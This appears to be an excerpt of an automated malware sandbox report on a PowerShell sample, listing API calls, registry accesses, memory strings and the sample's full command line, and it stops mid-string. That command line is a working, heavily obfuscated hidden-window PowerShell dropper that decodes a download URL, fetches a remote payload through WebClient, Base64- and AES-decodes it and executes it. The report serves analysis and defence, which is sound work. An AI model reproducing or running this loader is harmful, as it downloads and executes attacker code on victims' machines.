"powershell.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00004824) "powershell.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00004824)50:T1862,Process "powershell.exe" with commandline "-windowstyle hidden "mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" (UID: 00000000-00006720)51:T61d,"powershell.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "ShellWindows" (Path: "HKCU\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\INPROCSERVER32") "powershell.exe" touched "PSDispatch" (Path: "HKCU\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "PSTypeInfo" (Path: "HKCU\CLSID\{00020422-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS")52:T2a50,Spawned process "powershell.exe" with commandline "-windowstyle hidden "mv 'nonresilience';function Actinism ($radi ..." (UID: 00000000-00006720, Additional Context: "mv 'nonresilience'function Actinism ($radionecrosis252='garrafa'){ $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable]Actinism 'vvvM|||o y,z & iVVVlWWWliiia////'+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0'Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An O uuNX X9VVV5')Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)')Irremovableness (Actinism QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S)Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0]Irremovableness ((Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre'))Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') Irremovableness Actinism ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)'Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)')Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)')Irremovableness (Actinism ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)')Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)')Irremovableness $kristels;"), Spawned process "powershell.exe" with commandline ""mv 'nonresilience';function Actinism ($radionecrosis252='garraf ..." (UID: 00000000-00004824, Additional Context: "function $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable] 'vvvM|||o y,z & iVVVlWWWliiia////'+= ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0' ( ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An O uuNX X9VVV5') ( 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)') ( QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S) 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0] (( 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre')) ( 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)' ( 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)') ( ( '!!!$n nP FFE hhd XI c P s A???l<<>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507 ( 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)') ( ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)') ( ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)') $kristels;")53:T161d,Found string "$pedipalps=0;$global:Hierne = [System.Convert]::FromBase64String($predistribution)" (Indicator: "base64"; File: "AMSI") Found string "$pedipalps=0;$global:Hierne = [System.Convert]::FromBase64String($predistribution)" (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "AMSI") Found string "stem.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00004824.00000002.137113.00381000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; File: "00000000-00004824.00000002.137113.00381000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004824.00000000.133271.02C00000.00000004.mdmp, 00000000-00004824.00000000.133271.07550000.00000004.mdmp, 00000000-00004824.00000001.135190.02C00000.00000004.mdmp, 00000000-00004824.00000001.135190.07550000.00000004.mdmp, 00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004824.00000000.133271.02C00000.00000004.mdmp, 00000000-00004824.00000000.133271.07550000.00000004.mdmp, 00000000-00004824.00000001.135190.02C00000.00000004.mdmp, 00000000-00004824.00000001.135190.07550000.00000004.mdmp, 00000000-00004824.00000002.137113.07550000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "[-WindowStyle